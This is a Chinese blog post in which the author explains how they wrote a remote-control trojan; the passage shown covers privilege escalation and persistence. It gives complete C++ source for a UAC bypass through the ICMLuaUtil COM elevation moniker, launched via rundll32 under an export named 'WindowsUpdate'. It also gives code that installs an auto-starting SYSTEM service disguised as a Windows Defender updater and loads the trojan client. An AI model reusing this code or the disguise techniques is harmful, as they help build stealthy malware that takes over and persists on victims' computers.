Eswlnk Blog Eswlnk Blog
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈
  • 注册
  • 登录
首页 › 攻防对抗 › 「深度解析」有关某木马编程解析

「深度解析」有关某木马编程解析

Eswlnk的头像
Eswlnk
2023-09-11 0:38:24
「深度解析」有关某木马编程解析-Eswlnk Blog
智能摘要 AI
本文作者分享了其编写远程控制木马的开发过程,涵盖多个关键技术点,包括远程shell、文件上传下载、权限提升、开机自启等功能。以下是对其内容的总结: 1. **远程Shell功能** - 实现了远程执行命令,通过匿名管道与cmd.exe进程交互。 - 使用作业对象确保当cmd.exe终止时其子进程(如ping)也被终止。 - 网络通信采用自定义协议,通过SHELL_CONNECT和SHELL_EXECUTE包进行交互。 2. **文件上传下载** - 采用分片传输方式,支持大文件传输。 - 使用INFO包传递文件路径及大小,数据通过DATA或TAIL包传输,最终通过CLOSE包结束传输。 3. **权限提升** - 利用COM提升名称技术配合ShellExec方法以管理员权限启动目标程序。 - 通过创建系统服务的方式实现开机自启动,确保程序以

提升权限

程序运行的时候,基本上只是普通的用户权限,除非通过社工的手段,比如伪造成游戏的作弊器之类的,欺骗使用者右键使用管理员权限打开(或者弹出下图的这种框的时候点击是)。

「深度解析」有关某木马编程解析-Eswlnk Blog

但是一些敏感操作,有需要管理员权限,比如向系统盘的某些文件夹写文件,比如设置系统服务等等。所以需要进行提权。

github上有个项目叫hfiref0x/UACME: Defeating Windows User Account Control (github.com),讲得就是Windows的提权,方法挺多了,但是好多都不能用了,或者是条件有些苛刻,或者是太难了我没看懂。

这里介绍个很容易懂,代码也很简洁的方法:

COM提升名称(COM Elevation Moniker)技术允许运行在用户账户控制下的应用程序用提升权限的方法来激活COM类,以提升COM接口权限。同时,ICMLuaUtil接口提供了ShellExec方法来执行命令,创建指定进程。因此,我们可以利用COM提升名称来对ICMLuaUtil接口提权,之后通过接口调用ShellExec方法来创建指定进程,实现BypassUAC。

但是,执行这段代码的必须是可信程序(指直接获取管理员权限,而不触发UAC弹框的白名单程序),才能实现提权(不弹出上图中的那个对话框)。可信程序有rundll32.exe,lsass.exe,svchost.exe等等,这些也是恶意软件经常滥用的程序。当然计算器,记事本这些也是白名单程序,不过没啥可利用的地方。

刚好rundll32就可以执行32位dll文件里的函数,所以可以用它来执行提权的代码。

rundll32执行的函数,如果没有参数,则可以直接定义无参函数;如果有参数,则必须按照如下的格式来定义:

void CALLBACK FuncName(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow);

第三个参数lpszCmdLine就是传给函数的命令行参数。

BypassUAC.h

#pragma once


#include 
#include 
#include 


#define CLSID_CMSTPLUA                     L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"
#define IID_ICMLuaUtil                     L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}"


typedef interface ICMLuaUtil ICMLuaUtil;

typedef struct ICMLuaUtilVtbl {

    BEGIN_INTERFACE

        HRESULT(STDMETHODCALLTYPE *QueryInterface)(
            __RPC__in ICMLuaUtil * This,
            __RPC__in REFIID riid,
            _COM_Outptr_  void **ppvObject);

    ULONG(STDMETHODCALLTYPE *AddRef)(
        __RPC__in ICMLuaUtil * This);

    ULONG(STDMETHODCALLTYPE *Release)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method1)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method2)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method3)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method4)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method5)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method6)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *ShellExec)(
        __RPC__in ICMLuaUtil * This,
        _In_     LPCWSTR lpFile,
        _In_opt_  LPCTSTR lpParameters,
        _In_opt_  LPCTSTR lpDirectory,
        _In_      ULONG fMask,
        _In_      ULONG nShow
        );

    HRESULT(STDMETHODCALLTYPE *SetRegistryStringValue)(
        __RPC__in ICMLuaUtil * This,
        _In_      HKEY hKey,
        _In_opt_  LPCTSTR lpSubKey,
        _In_opt_  LPCTSTR lpValueName,
        _In_      LPCTSTR lpValueString
        );

    HRESULT(STDMETHODCALLTYPE *Method9)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method10)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method11)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method12)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method13)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method14)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method15)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method16)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method17)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method18)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method19)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method20)(
        __RPC__in ICMLuaUtil * This);

    END_INTERFACE

} *PICMLuaUtilVtbl;

interface ICMLuaUtil
{
    CONST_VTBL struct ICMLuaUtilVtbl *lpVtbl;
};


HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid);

BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable);

// 套壳CMLuaUtilBypassUAC
extern "C" _declspec(dllexport) void CALLBACK WindowsUpdate(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);

BypassUAC.cpp

#include "pch.h"
#include "BypassUAC.h"
#include "Shlobj.h"
#include 


HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
{
    BIND_OPTS3 bo;
    WCHAR wszCLSID[MAX_PATH] = { 0 };
    WCHAR wszMonikerName[MAX_PATH] = { 0 };
    HRESULT hr = 0;

    // 初始化COM环境
    ::CoInitialize(NULL);

    // 构造字符串
    ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
    hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
    if (FAILED(hr))
    {
        return hr;
    }

    // 设置BIND_OPTS3
    ::RtlZeroMemory(&bo, sizeof(bo));
    bo.cbStruct = sizeof(bo);
    bo.hwnd = hWnd;
    bo.dwClassContext = CLSCTX_LOCAL_SERVER;

    // 创建名称对象并获取COM对象
    hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
    return hr;
}


BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
    HRESULT hr = 0;
    CLSID clsidICMLuaUtil = { 0 };
    IID iidICMLuaUtil = { 0 };
    ICMLuaUtil *CMLuaUtil = NULL;
    BOOL bRet = FALSE;

    do {
        ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
        ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);

        // 提权
        hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
        if (FAILED(hr))
        {
            break;
        }

        // 启动程序
        hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
        if (FAILED(hr))
        {
            break;
        }

        bRet = TRUE;
    } while (FALSE);

    // 释放
    if (CMLuaUtil)
    {
        CMLuaUtil->lpVtbl->Release(CMLuaUtil);
    }

    return bRet;
}


void CALLBACK WindowsUpdate(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
    USES_CONVERSION;
    CMLuaUtilBypassUAC(A2W(lpszCmdLine));
}

把WindowsUpdate定义为导出函数,生成dll,然后在安装程序中调用rundll32.exe BypassUAC.dll _WindowUpdate@16 xxx.exe,就可以以管理员的权限运行xxx.exe这个程序了。

可能有个小众的知识点需要提一下:

CALLBACK是__stdcall的别称,而c方式和__stdcall组合时,编译后名字为FunName@x,如果是导出函数,则在Dll中也叫_FunName@x(x是所有参数占空间的总大小)。

「深度解析」有关某木马编程解析-Eswlnk Blog

开机自启

实现开机自启的方法有很多,我这边用的是系统服务实现的。

快速启动目录

windows系统有一个用于快速启动的目录,该文件夹下的程序(或者是快捷方式)会在开机的时候自动启动。可以使用SHGetSpecialFolderPath()获取这个目录。

注册表

向HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run写入程序路径即可。

系统服务

系统服务需要管理员权限才能设置,前面说过怎么提权了。

设置好了以后,程序会以系统服务的形式开机自启,而且会是SYSTEM权限。

这个地方分两部分,一个用于设置和启动系统服务,一个是系统服务程序本身。

BOOL RegisterSystemService(WCHAR lpszDriverPath[]) {

    WCHAR pszServiceName[MAX_PATH] = L"Windows Defender自动更新";
    WCHAR pszServiceDesc[MAX_PATH] = L"使你的Windows Defender保持最新状态。如果此服务已禁用或停止,则Windows Defender将无法保持最新状态,这意味这无法修复可能产生的安全漏洞,并且功能也可能无法使用。";

    // 为路径加上引号,因为CreateService中的lpBinaryPathName要求带引号,除非路径中没空格
    WCHAR lpBinaryPathName[MAX_PATH + 2];
    wsprintf(lpBinaryPathName, L"\"%s\"", lpszDriverPath);

    SC_HANDLE shOSCM = NULL, shCS = NULL;
    SERVICE_STATUS ss;
    DWORD dwErrorCode = 0;
    BOOL bSuccess = FALSE;
    // 打开服务控制管理器数据库
    shOSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (!shOSCM) {
        return FALSE;
    }

    // 创建服务,设置开机自启
    shCS = CreateService(shOSCM, pszServiceName, pszServiceName,
        SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
        SERVICE_AUTO_START,    SERVICE_ERROR_NORMAL, lpBinaryPathName, NULL, NULL, NULL, NULL, NULL);
    if (!shCS){
        return FALSE;
    }

    // 设置服务的描述
    SERVICE_DESCRIPTION ServiceDesc;
    ServiceDesc.lpDescription = pszServiceDesc;
    ChangeServiceConfig2(shCS, SERVICE_CONFIG_DESCRIPTION, &ServiceDesc);

    if (!StartService(shCS, 0, NULL))    {
        return FALSE;
    }

    if (shCS) {
        CloseServiceHandle(shCS);
        shCS = NULL;
    }
    if (shOSCM)    {
        CloseServiceHandle(shOSCM);
        shOSCM = NULL;
    }
    return TRUE;
}

服务的名称设置为Windows Defender自动更新,服务的描述也有一定的迷惑性。

注释写得差不多了,只有一点需要注意,CreateService()中的lpBinaryPathName这个路径,记得两边用引号包裹起来。

然后是系统服务程序,要符合其规范,需要实现ServiceMain服务入口函数:

// 服务的入口函数
void ServiceMain(int argc, wchar_t* argv[])
{
    g_ServiceStatusHandle = RegisterServiceCtrlHandler(g_szServiceName, ServiceHandle);

    TellSCM(SERVICE_START_PENDING, 0, 1);
    TellSCM(SERVICE_RUNNING, 0, 0);

    // 执行我们的代码
    MyCode();

    while (TRUE) {
        Sleep(5000);
    }
}


// 服务的处理回调的函数
void WINAPI ServiceHandle(DWORD dwOperateCode) {

    switch (dwOperateCode)
    {
    case SERVICE_CONTROL_PAUSE:
        TellSCM(SERVICE_PAUSE_PENDING, 0, 1);
        TellSCM(SERVICE_PAUSED, 0, 0);
        break;

    case SERVICE_CONTROL_CONTINUE:
        TellSCM(SERVICE_CONTINUE_PENDING, 0, 1);
        TellSCM(SERVICE_RUNNING, 0, 0);
        break;

    case SERVICE_CONTROL_STOP:
        TellSCM(SERVICE_STOP_PENDING, 0, 1);
        TellSCM(SERVICE_STOPPED, 0, 0);
        break;

    case SERVICE_CONTROL_INTERROGATE:
        break;

    default:
        break;
    }
}


BOOL TellSCM(DWORD dwState, DWORD dwExitCode, DWORD dwProgress) {

    SERVICE_STATUS serviceStatus = { 0 };
    BOOL bRet = FALSE;

    RtlZeroMemory(&serviceStatus, sizeof(serviceStatus));
    serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
    serviceStatus.dwCurrentState = dwState;
    serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
    serviceStatus.dwWin32ExitCode = dwExitCode;
    serviceStatus.dwWaitHint = 3000;

    bRet = SetServiceStatus(g_ServiceStatusHandle, &serviceStatus);
    return bRet;
}


void MyCode() {
    HINSTANCE  hDll = LoadLibrary(L"WindowsDefenderAutoUpdate.dll");
    FUNC pfnRunMuaClient = (FUNC)GetProcAddress(hDll, "WindowsDefenderAutoUpdate");
    pfnRunMuaClient();
}

其实就是个通用的框架,只需要实现MyCode这个函数就行了。

最后的MyCode()是Load了MuaClient.dll,调用WindowsDefenderAutoUpdate函数,实际上就是启动被控端。

1 2 3 4
本站默认网盘访问密码:1166
本站默认网盘访问密码:1166
声明:本站原创文章文字版权归本站所有,转载务必注明作者和出处;本站转载文章仅仅代表原作者观点,不代表本站立场,图文版权归原作者所有。如有侵权,请联系我们删除。
backdoor加密加载器后门安全渗透分析远控
0
0
Eswlnk的头像
Eswlnk
一个有点倒霉的研究牲站长
赞赏
2021数字中国创新大赛虎符网络安全赛道
上一篇
「威胁情报」新一波恶意 npm 软件包威胁 Kubernetes 配置和 SSH 密钥
下一篇

评论 (0)

请登录以参与评论
现在登录
    发表评论

猜你喜欢

  • 「漏洞资讯」CVE-2025-12914:宝塔面板曝出注入漏洞
  • 今日热点:伪Clash软件下载陷阱曝光,附防范建议
  • 漏洞资讯:Ollama 未授权访问漏洞分析与防护指南
  • 「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制
  • 「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程
Eswlnk的头像

Eswlnk

一个有点倒霉的研究牲站长
1109
文章
321
评论
682
获赞

随便看看

「攻防对抗」绕过杀软的内存查杀 | 利用VEH异常处理
2023-11-02 22:43:48
破解某游戏修改器时的意外收获
2023-09-06 22:02:18
红队:Evil-Winrm 详细指南
2023-02-19 14:33:12

文章目录

专题展示

WordPress53

工程实践37

热门标签

360 AI API CDN java linux Nginx PDF PHP python SEO Windows WordPress 云服务器 云服务器知识 代码 免费 安全 安卓 工具 开发日志 微信 微软 手机 插件 攻防 攻防对抗 教程 日志 渗透分析 源码 漏洞 电脑 破解 系统 编程 网站优化 网络 网络安全 脚本 苹果 谷歌 软件 运维 逆向
  • 首页
  • 知识库
  • 地图
Copyright © 2023-2026 Eswlnk Blog. Designed by XiaoWu.
本站CDN由 壹盾安全 提供高防CDN安全防护服务
蜀ICP备20002650号-10
页面生成用时 0.593 秒   |  SQL查询 19 次
本站勉强运行:
友情链接: Eswlnk Blog 网站渗透 倦意博客 特资啦!个人资源分享站 祭夜博客 iBAAO壹宝头条
  • WordPress142
  • 网络安全64
  • 漏洞52
  • 软件52
  • 安全48
现在登录
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈